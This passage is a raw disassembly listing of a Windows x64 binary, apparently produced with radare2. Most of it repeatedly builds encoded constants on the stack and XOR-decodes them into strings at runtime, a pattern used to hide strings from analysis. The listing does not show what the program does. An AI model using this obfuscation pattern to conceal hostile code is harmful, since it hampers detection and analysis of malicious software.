lea rcx, [rbp + 0x5140]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5160]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5180]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x51a0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x51c0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x51e0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5200]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x52f0]
call fcn.7ff7cbf376b0
lea rdx, [rbp + 0x8ce0]
lea rcx, [rbp + 0x8cc0]
call fcn.7ff7cbf5b234
lea rdx, [rbp + 0x8cc0]
lea rcx, [rbp + 0x6480]
call fcn.7ff7cbf359c8
mov rdi, rax
mov qword [rbp + 0x9ab0], rax
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x64a0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0x9a60], rax
lea rdx, [0x7ff7cbf94900]
lea rcx, [rbp + 0x64c0]
call fcn.7ff7cbf359ec
mov qword [rbp + 0x9a90], rax
lea rdx, [0x7ff7cbf94680]
lea rcx, [rbp + 0x64e0]
call fcn.7ff7cbf359ec
mov qword [rbp + 0x9ac0], rax
lea rdx, [0x7ff7cbf94668]
lea rcx, [rbp + 0x6500]
call fcn.7ff7cbf359ec
mov qword [rbp + 0x9aa0], rax
lea rcx, [rbp + 0x8a20]
call fcn.7ff7cbf4c748
lea rcx, [rbp + 0x8a20]
call fcn.7ff7cbf4e858
lea rcx, [rbp + 0x9a70]
test al, al
je 0x7ff7cbf6fbef
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0x29d0], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0x29d8], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0x29e0], rax
mov qword [rbp + 0x29e8], r14
lea r8, [rbp + 0x29f0]
lea rdx, [rbp + 0x29d0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9e70], r13
mov qword [rbp + 0x29f0], r13
mov qword [rbp + 0x9e78], r12
mov qword [rbp + 0x29f8], r12
mov qword [rbp + 0x9e80], rsi
mov qword [rbp + 0x2a00], rsi
mov qword [rbp + 0x9e88], r14
mov qword [rbp + 0x2a08], r14
lea r8, [rbp + 0x2a10]
lea rdx, [rbp + 0x29f0]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0x10d0], rax
mov qword [rbp + 0x2a10], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0x10d8], rax
mov qword [rbp + 0x2a18], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0x10e0], rax
mov qword [rbp + 0x2a20], rax
mov qword [rbp + 0x10e8], r14
mov qword [rbp + 0x2a28], r14
lea r8, [rbp + 0x2a30]
lea rdx, [rbp + 0x2a10]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x10d0]
pxor xmm0, xmmword [rbp + 0x9e70]
movdqa xmmword [rbp + 0x10d0], xmm0
movdqa xmm1, xmmword [rbp + 0x10e0]
pxor xmm1, xmmword [rbp + 0x9e80]
movdqa xmmword [rbp + 0x10e0], xmm1
lea rdx, [rbp + 0x10d0]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf38164
lea rcx, [rbp + 0x8a20]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9aa0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9ac0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a90]
call fcn.7ff7cbf376b0
mov rcx, rbx
jmp 0x7ff7cbf70bdd
movabs rbx, 0x654b160dbb0547c9
mov qword [rbp + 0x2100], rbx
movabs rax, 0xe1b652f26fd9f0d5
mov qword [rbp + 0x2108], rax
lea r8, [rbp + 0x2110]
lea rdx, [rbp + 0x2100]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa2f0], r13
mov qword [rbp + 0x2110], r13
mov qword [rbp + 0xa2f8], r12
mov qword [rbp + 0x2118], r12
lea r8, [rbp + 0x2120]
lea rdx, [rbp + 0x2110]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x870], rbx
mov qword [rbp + 0x2120], rbx
movabs rax, 0xe1b652f26fd9f0d5
mov qword [rbp + 0x878], rax
mov qword [rbp + 0x2128], rax
lea r8, [rbp + 0x2130]
lea rdx, [rbp + 0x2120]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x870]
pxor xmm0, xmmword [rbp + 0xa2f0]
movdqa xmmword [rbp + 0x870], xmm0
lea rdx, [rbp + 0x870]
lea rcx, [rbp + 0x6520]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8a20]
lea rcx, [rbp + 0x6540]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8fc0]
call fcn.7ff7cbf4c4e4
lea rcx, [rbp + 0x8520]
call fcn.7ff7cbf35ca8
lea rdx, [rbp + 0x8a20]
lea rcx, [rbp + 0x6560]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x2130], rax
mov qword [rbp + 0x2138], r12
lea r8, [rbp + 0x2140]
lea rdx, [rbp + 0x2130]
lea rcx, [rbp + 0x9b80]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa2e0], r13
mov qword [rbp + 0x2140], r13
mov qword [rbp + 0xa2e8], r12
mov qword [rbp + 0x2148], r12
lea r8, [rbp + 0x2150]
lea rdx, [rbp + 0x2140]
lea rcx, [rbp + 0x8410]
call fcn.7ff7cbf35cf8
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x880], rax
mov qword [rbp + 0x2150], rax
mov qword [rbp + 0x888], r12
mov qword [rbp + 0x2158], r12
lea r8, [rbp + 0x2160]
lea rdx, [rbp + 0x2150]
lea rcx, [rbp + 0x9b10]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x880]
pxor xmm0, xmmword [rbp + 0xa2e0]
movdqa xmmword [rbp + 0x880], xmm0
lea rdx, [rbp + 0x880]
lea rcx, [rbp + 0x6580]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8520]
call fcn.7ff7cbf58f9c
lea rdx, [rbp + 0x8fc0]
lea rcx, [rbp + 0x65a0]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x2160], rax
mov qword [rbp + 0x2168], r12
lea r8, [rbp + 0x2170]
lea rdx, [rbp + 0x2160]
lea rcx, [rbp + 0x9c50]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa770], r13
mov qword [rbp + 0x2170], r13
mov qword [rbp + 0xa778], r12
mov qword [rbp + 0x2178], r12
lea r8, [rbp + 0x2180]
lea rdx, [rbp + 0x2170]
lea rcx, [rbp + 0x9bc0]
call fcn.7ff7cbf35cf8
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x890], rax
mov qword [rbp + 0x2180], rax
mov qword [rbp + 0x898], r12
mov qword [rbp + 0x2188], r12
lea r8, [rbp + 0x2190]
lea rdx, [rbp + 0x2180]
lea rcx, [rbp + 0x9c80]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x890]
pxor xmm0, xmmword [rbp + 0xa770]
movdqa xmmword [rbp + 0x890], xmm0
lea rdx, [rbp + 0x890]
lea rcx, [rbp + 0x65c0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8520]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x9aa0]
lea rcx, [rbp + 0x6600]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4294963b30349c4
mov qword [rbp + 0x2190], rax
mov qword [rbp + 0x2198], r12
lea r8, [rbp + 0x21a0]
lea rdx, [rbp + 0x2190]
lea rcx, [rbp + 0x9c20]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa2d0], r13
mov qword [rbp + 0x21a0], r13
mov qword [rbp + 0xa2d8], r12
mov qword [rbp + 0x21a8], r12
lea r8, [rbp + 0x21b0]
lea rdx, [rbp + 0x21a0]
lea rcx, [rbp + 0x9c10]
call fcn.7ff7cbf35cf8
movabs rax, 0x4294963b30349c4
mov qword [rbp + 0x8a0], rax
mov qword [rbp + 0x21b0], rax
mov qword [rbp + 0x8a8], r12
mov qword [rbp + 0x21b8], r12
lea r8, [rbp + 0x21c0]
lea rdx, [rbp + 0x21b0]
lea rcx, [rbp + 0x9c00]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x8a0]
pxor xmm0, xmmword [rbp + 0xa2d0]
movdqa xmmword [rbp + 0x8a0], xmm0
lea rdx, [rbp + 0x8a0]
lea rcx, [rbp + 0x6620]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8520]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x9ac0]
lea rcx, [rbp + 0x6640]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4294963b0004ac7
mov qword [rbp + 0x21c0], rax
mov qword [rbp + 0x21c8], r12
lea r8, [rbp + 0x21d0]
lea rdx, [rbp + 0x21c0]
lea rcx, [rbp + 0x9bf0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa2c0], r13
mov qword [rbp + 0x21d0], r13
mov qword [rbp + 0xa2c8], r12
mov qword [rbp + 0x21d8], r12
lea r8, [rbp + 0x21e0]
lea rdx, [rbp + 0x21d0]
lea rcx, [rbp + 0x9be0]
call fcn.7ff7cbf35cf8
movabs rax, 0x4294963b0004ac7
mov qword [rbp + 0x8b0], rax
mov qword [rbp + 0x21e0], rax
mov qword [rbp + 0x8b8], r12
mov qword [rbp + 0x21e8], r12
lea r8, [rbp + 0x21f0]
lea rdx, [rbp + 0x21e0]
lea rcx, [rbp + 0x9bd0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x8b0]
pxor xmm0, xmmword [rbp + 0xa2c0]
movdqa xmmword [rbp + 0x8b0], xmm0
lea rdx, [rbp + 0x8b0]
lea rcx, [rbp + 0x6660]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8520]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x9a90]
lea rcx, [rbp + 0x6680]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4294963b1014bc6
mov qword [rbp + 0x21f0], rax
mov qword [rbp + 0x21f8], r12
lea r8, [rbp + 0x2200]
lea rdx, [rbp + 0x21f0]
lea rcx, [rbp + 0x9cb0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa2b0], r13
mov qword [rbp + 0x2200], r13
mov qword [rbp + 0xa2b8], r12
mov qword [rbp + 0x2208], r12
lea r8, [rbp + 0x2210]
lea rdx, [rbp + 0x2200]
lea rcx, [rbp + 0x9ca0]
call fcn.7ff7cbf35cf8
movabs rax, 0x4294963b1014bc6
mov qword [rbp + 0x8c0], rax
mov qword [rbp + 0x2210], rax
mov qword [rbp + 0x8c8], r12
mov qword [rbp + 0x2218], r12
lea r8, [rbp + 0x2220]
lea rdx, [rbp + 0x2210]
lea rcx, [rbp + 0x9c90]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x8c0]
pxor xmm0, xmmword [rbp + 0xa2b0]
movdqa xmmword [rbp + 0x8c0], xmm0
lea rdx, [rbp + 0x8c0]
lea rcx, [rbp + 0x66a0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8520]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x9a60]
lea rcx, [rbp + 0x7200]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4294963b6064cc1
mov qword [rbp + 0x2220], rax
mov qword [rbp + 0x2228], r12
lea r8, [rbp + 0x2230]
lea rdx, [rbp + 0x2220]
lea rcx, [rbp + 0x9cc0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa2a0], r13
mov qword [rbp + 0x2230], r13
mov qword [rbp + 0xa2a8], r12
mov qword [rbp + 0x2238], r12
lea r8, [rbp + 0x2240]
lea rdx, [rbp + 0x2230]
lea rcx, [rbp + 0x9d80]
call fcn.7ff7cbf35cf8
movabs rax, 0x4294963b6064cc1
mov qword [rbp + 0x8d0], rax
mov qword [rbp + 0x2240], rax
mov qword [rbp + 0x8d8], r12
mov qword [rbp + 0x2248], r12
lea r8, [rbp + 0x2250]
lea rdx, [rbp + 0x2240]
lea rcx, [rbp + 0x9d70]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x8d0]
pxor xmm0, xmmword [rbp + 0xa2a0]
movdqa xmmword [rbp + 0x8d0], xmm0
lea rdx, [rbp + 0x8d0]
lea rcx, [rbp + 0x66c0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8520]
call fcn.7ff7cbf58f9c
mov rdx, rdi
lea rcx, [rbp + 0x66e0]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4294963b7074dc0
mov qword [rbp + 0x2250], rax
mov qword [rbp + 0x2258], r12
lea r8, [rbp + 0x2260]
lea rdx, [rbp + 0x2250]
lea rcx, [rbp + 0x9d60]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa290], r13
mov qword [rbp + 0x2260], r13
mov qword [rbp + 0xa298], r12
mov qword [rbp + 0x2268], r12
lea r8, [rbp + 0x2270]
lea rdx, [rbp + 0x2260]
lea rcx, [rbp + 0x9d50]
call fcn.7ff7cbf35cf8
movabs rax, 0x4294963b7074dc0
mov qword [rbp + 0x8e0], rax
mov qword [rbp + 0x2270], rax
mov qword [rbp + 0x8e8], r12
mov qword [rbp + 0x2278], r12
lea r8, [rbp + 0x2280]
lea rdx, [rbp + 0x2270]
lea rcx, [rbp + 0x9d40]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x8e0]
pxor xmm0, xmmword [rbp + 0xa290]
movdqa xmmword [rbp + 0x8e0], xmm0
lea rdx, [rbp + 0x8e0]
lea rcx, [rbp + 0x6700]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8520]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf935a0]
lea rcx, [rbp + 0x6720]
call fcn.7ff7cbf359c8
mov rbx, rax
movabs rax, 0x4294963b4044ec3
mov qword [rbp + 0x2280], rax
mov qword [rbp + 0x2288], r12
lea r8, [rbp + 0x2290]
lea rdx, [rbp + 0x2280]
lea rcx, [rbp + 0x9d30]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa280], r13
mov qword [rbp + 0x2290], r13
mov qword [rbp + 0xa288], r12
mov qword [rbp + 0x2298], r12
lea r8, [rbp + 0x22a0]
lea rdx, [rbp + 0x2290]
lea rcx, [rbp + 0x9d20]
call fcn.7ff7cbf35cf8
movabs rax, 0x4294963b4044ec3
mov qword [rbp + 0x8f0], rax
mov qword [rbp + 0x22a0], rax
mov qword [rbp + 0x8f8], r12
mov qword [rbp + 0x22a8], r12
lea r8, [rbp + 0x22b0]
lea rdx, [rbp + 0x22a0]
lea rcx, [rbp + 0x9d10]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x8f0]
pxor xmm0, xmmword [rbp + 0xa280]
movdqa xmmword [rbp + 0x8f0], xmm0
lea rdx, [rbp + 0x8f0]
lea rcx, [rbp + 0x6740]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8520]
call fcn.7ff7cbf58f9c
lea rcx, [rbp + 0x8520]
call fcn.7ff7cbf4e858
test al, al
je 0x7ff7cbf70940
mov rcx, rdi
call fcn.7ff7cbf3fb20
mov rdi, rax
mov rcx, qword [rbp + 0x9a60]
call fcn.7ff7cbf3fb20
mov rbx, rax
movabs rax, 0x655f270af23f05fe
mov qword [rbp + 0x3270], rax
movabs rax, 0x88d13d9e30def0ca
mov qword [rbp + 0x3278], rax
movabs rax, 0x2856e14383c84899
mov qword [rbp + 0x3280], rax
movabs rax, 0xa39a4bcdf6320ce0
mov qword [rbp + 0x3288], rax
movabs rax, 0xaf8d3231a22629d4
mov qword [rbp + 0x3290], rax
movabs rax, 0xe62cb7c3c38be95e
mov qword [rbp + 0x3298], rax
movabs rax, 0xe8a8ddbdd316d77c
mov qword [rbp + 0x32a0], rax
movabs rax, 0x6c08c6b3ee42b91f
mov qword [rbp + 0x32a8], rax
lea r8, [rbp + 0x32b0]
lea rdx, [rbp + 0x3270]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9cd0], r13
mov qword [rbp + 0x32b0], r13
mov qword [rbp + 0x9cd8], r12
mov qword [rbp + 0x32b8], r12
mov qword [rbp + 0x9ce0], rsi
mov qword [rbp + 0x32c0], rsi
mov qword [rbp + 0x9ce8], r14
mov qword [rbp + 0x32c8], r14
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0x9cf0], rax
mov qword [rbp + 0x32d0], rax
movabs rax, 0xc642deaea7eac92a
mov qword [rbp + 0x9cf8], rax
mov qword [rbp + 0x32d8], rax
movabs rax, 0x81c0a99dbb62be0b
mov qword [rbp + 0x9d00], rax
mov qword [rbp + 0x32e0], rax
movabs rax, 0x6c08c6d4812e996c
mov qword [rbp + 0x9d08], rax
mov qword [rbp + 0x32e8], rax
lea r8, [rbp + 0x32f0]
lea rdx, [rbp + 0x32b0]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
movabs rax, 0x655f270af23f05fe
mov qword [rbp + 0x1610], rax
mov qword [rbp + 0x3370], rax
movabs rax, 0x88d13d9e30def0ca
mov qword [rbp + 0x1618], rax
mov qword [rbp + 0x3378], rax
movabs rax, 0x2856e14383c84899
mov qword [rbp + 0x1620], rax
mov qword [rbp + 0x3380], rax
movabs rax, 0xa39a4bcdf6320ce0
mov qword [rbp + 0x1628], rax
mov qword [rbp + 0x3388], rax
movabs rax, 0xaf8d3231a22629d4
mov qword [rbp + 0x1630], rax
mov qword [rbp + 0x3390], rax
movabs rax, 0xe62cb7c3c38be95e
mov qword [rbp + 0x1638], rax
mov qword [rbp + 0x3398], rax
movabs rax, 0xe8a8ddbdd316d77c
mov qword [rbp + 0x1640], rax
mov qword [rbp + 0x33a0], rax
movabs rax, 0x6c08c6b3ee42b91f
mov qword [rbp + 0x1648], rax
mov qword [rbp + 0x33a8], rax
lea r8, [rbp + 0x33b0]
lea rdx, [rbp + 0x3370]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x1610]
pxor xmm0, xmmword [rbp + 0x9cd0]
movdqa xmmword [rbp + 0x1610], xmm0
movdqa xmm1, xmmword [rbp + 0x1620]
pxor xmm1, xmmword [rbp + 0x9ce0]
movdqa xmmword [rbp + 0x1620], xmm1
movdqa xmm0, xmmword [rbp + 0x1630]
pxor xmm0, xmmword [rbp + 0x9cf0]
movdqa xmmword [rbp + 0x1630], xmm0
movdqa xmm1, xmmword [rbp + 0x1640]
pxor xmm1, xmmword [rbp + 0x9d00]
movdqa xmmword [rbp + 0x1640], xmm1
mov r8, rdi
mov rdx, rbx
lea rcx, [rbp + 0x1610]
call fcn.7ff7cbf63d9c
movabs rax, 0x5b4d200fb31446cc
mov qword [rbp + 0x2a30], rax
movabs rbx, 0x86d93ead01d5eacc
mov qword [rbp + 0x2a38], rbx
movabs rdi, 0x5c378c31ecae799e
mov qword [rbp + 0x2a40], rdi
mov qword [rbp + 0x2a48], r14
lea r8, [rbp + 0x2a50]
lea rdx, [rbp + 0x2a30]
lea rcx, [rbp + 0x9b80]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x9e50], r13
mov qword [rbp + 0x2a50], r13
mov qword [rbp + 0x9e58], r12
mov qword [rbp + 0x2a58], r12
mov qword [rbp + 0x9e60], rsi
mov qword [rbp + 0x2a60], rsi
mov qword [rbp + 0x9e68], r14
mov qword [rbp + 0x2a68], r14
lea r8, [rbp + 0x2a70]
lea rdx, [rbp + 0x2a50]
lea rcx, [rbp + 0x8410]
call fcn.7ff7cbf35cf8
movabs rax, 0x5b4d200fb31446cc
mov qword [rbp + 0x10f0], rax
mov qword [rbp + 0x2a70], rax
mov qword [rbp + 0x10f8], rbx
mov qword [rbp + 0x2a78], rbx
mov qword [rbp + 0x1100], rdi
mov qword [rbp + 0x2a80], rdi
mov qword [rbp + 0x1108], r14
mov qword [rbp + 0x2a88], r14
lea r8, [rbp + 0x2a90]
lea rdx, [rbp + 0x2a70]
lea rcx, [rbp + 0x9b10]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x10f0]
pxor xmm0, xmmword [rbp + 0x9e50]
movdqa xmmword [rbp + 0x10f0], xmm0
movdqa xmm1, xmmword [rbp + 0x1100]
pxor xmm1, xmmword [rbp + 0x9e60]
movdqa xmmword [rbp + 0x1100], xmm1
lea rdx, [rbp + 0x10f0]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf38164
lea rcx, [rbp + 0x8520]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8fc0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8a20]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9aa0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9ac0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a90]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a60]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9ab0]
jmp 0x7ff7cbf70be5
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x49e0]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x8520]
lea rdx, [rbp + 0x49e0]
lea rcx, [rbp + 0x8820]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x49e0]
call fcn.7ff7cbf3ecd0
movabs rbx, 0x76763a16a6035cd6
mov qword [rbp + 0x22b0], rbx
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x22b8], rax
lea r8, [rbp + 0x22c0]
lea rdx, [rbp + 0x22b0]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa270], r13
mov qword [rbp + 0x22c0], r13
mov qword [rbp + 0xa278], r12
mov qword [rbp + 0x22c8], r12
lea r8, [rbp + 0x22d0]
lea rdx, [rbp + 0x22c0]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x900], rbx
mov qword [rbp + 0x22d0], rbx
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x908], rax
mov qword [rbp + 0x22d8], rax
lea r8, [rbp + 0x22e0]
lea rdx, [rbp + 0x22d0]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x900]
pxor xmm0, xmmword [rbp + 0xa270]
movdqa xmmword [rbp + 0x900], xmm0
lea rdx, [rbp + 0x900]
lea rcx, [rbp + 0x6760]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8820]
lea rcx, [rbp + 0x6780]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8fa0]
call fcn.7ff7cbf58a40
movabs rbx, 0x625a3a06b1015dd6
mov qword [rbp + 0x22e0], rbx
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x22e8], rax
lea r8, [rbp + 0x22f0]
lea rdx, [rbp + 0x22e0]
lea rcx, [rbp + 0x9b80]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa260], r13
mov qword [rbp + 0x22f0], r13
mov qword [rbp + 0xa268], r12
mov qword [rbp + 0x22f8], r12
lea r8, [rbp + 0x2300]
lea rdx, [rbp + 0x22f0]
lea rcx, [rbp + 0x8410]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x910], rbx
mov qword [rbp + 0x2300], rbx
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x918], rax
mov qword [rbp + 0x2308], rax
lea r8, [rbp + 0x2310]
lea rdx, [rbp + 0x2300]
lea rcx, [rbp + 0x9b10]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x910]
pxor xmm0, xmmword [rbp + 0xa260]
movdqa xmmword [rbp + 0x910], xmm0
lea rdx, [rbp + 0x910]
lea rcx, [rbp + 0x8fa0]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf70e24
lea rdx, [rbp + 0x8fa0]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf380f4
lea rcx, [rbp + 0x8fa0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8820]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8520]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8fc0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8a20]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9aa0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9ac0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a90]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a60]
call fcn.7ff7cbf376b0
mov rcx, rdi
call fcn.7ff7cbf376b0
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf3fb20
mov rbx, rax
movabs rdi, 0x68402805f23f05fe
mov qword [rbp + 0x2a90], rdi
movabs rax, 0x8eda729d1b9afdc3
mov qword [rbp + 0x2a98], rax
movabs rax, 0x561eff14c4c07e90
mov qword [rbp + 0x2aa0], rax
mov qword [rbp + 0x2aa8], r14
lea r8, [rbp + 0x2ab0]
lea rdx, [rbp + 0x2a90]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xabe0], r13
mov qword [rbp + 0x2ab0], r13
mov qword [rbp + 0xabe8], r12
mov qword [rbp + 0x2ab8], r12
mov qword [rbp + 0xabf0], rsi
mov qword [rbp + 0x2ac0], rsi
mov qword [rbp + 0xabf8], r14
mov qword [rbp + 0x2ac8], r14
lea r8, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2ab0]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x1110], rdi
mov qword [rbp + 0x2ad0], rdi
movabs rax, 0x8eda729d1b9afdc3
mov qword [rbp + 0x1118], rax
mov qword [rbp + 0x2ad8], rax
movabs rax, 0x561eff14c4c07e90
mov qword [rbp + 0x1120], rax
mov qword [rbp + 0x2ae0], rax
mov qword [rbp + 0x1128], r14
mov qword [rbp + 0x2ae8], r14
lea r8, [rbp + 0x2af0]
lea rdx, [rbp + 0x2ad0]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x1110]
pxor xmm0, xmmword [rbp + 0xabe0]
movdqa xmmword [rbp + 0x1110], xmm0
movdqa xmm1, xmmword [rbp + 0x1120]
pxor xmm1, xmmword [rbp + 0xabf0]
movdqa xmmword [rbp + 0x1120], xmm1
mov rdx, rbx
lea rcx, [rbp + 0x1110]
call fcn.7ff7cbf63d9c
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf3fb20
mov rbx, rax
movabs rdi, 0x4294963d2625b80
mov qword [rbp + 0x2340], rdi
mov qword [rbp + 0x2348], r12
lea r8, [rbp + 0x2350]
lea rdx, [rbp + 0x2340]
lea rcx, [rbp + 0x9b80]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa250], r13
mov qword [rbp + 0x2350], r13
mov qword [rbp + 0xa258], r12
mov qword [rbp + 0x2358], r12
lea r8, [rbp + 0x2360]
lea rdx, [rbp + 0x2350]
lea rcx, [rbp + 0x8410]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x920], rdi
mov qword [rbp + 0x2310], rdi
mov qword [rbp + 0x928], r12
mov qword [rbp + 0x2318], r12
lea r8, [rbp + 0x2320]
lea rdx, [rbp + 0x2310]
lea rcx, [rbp + 0x9b10]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x920]
pxor xmm0, xmmword [rbp + 0xa250]
movdqa xmmword [rbp + 0x920], xmm0
mov r8, rbx
lea rdx, [rbp + 0x920]
lea rcx, [0x7ff7cbf93760]
call fcn.7ff7cbf0fbb8
jmp 0x7ff7cbf717d3
movabs rbx, 0x6144280da0075bd0
mov qword [rbp + 0x2320], rbx
mov qword [rbp + 0x2328], r12
lea r8, [rbp + 0x2330]
lea rdx, [rbp + 0x2320]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa240], r13
mov qword [rbp + 0x2330], r13
mov qword [rbp + 0xa248], r12
mov qword [rbp + 0x2338], r12
lea r8, [rbp + 0x2340]
lea rdx, [rbp + 0x2330]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x930], rbx
mov qword [rbp + 0x18e0], rbx
mov qword [rbp + 0x938], r12
mov qword [rbp + 0x18e8], r12
lea r8, [rbp + 0x18f0]
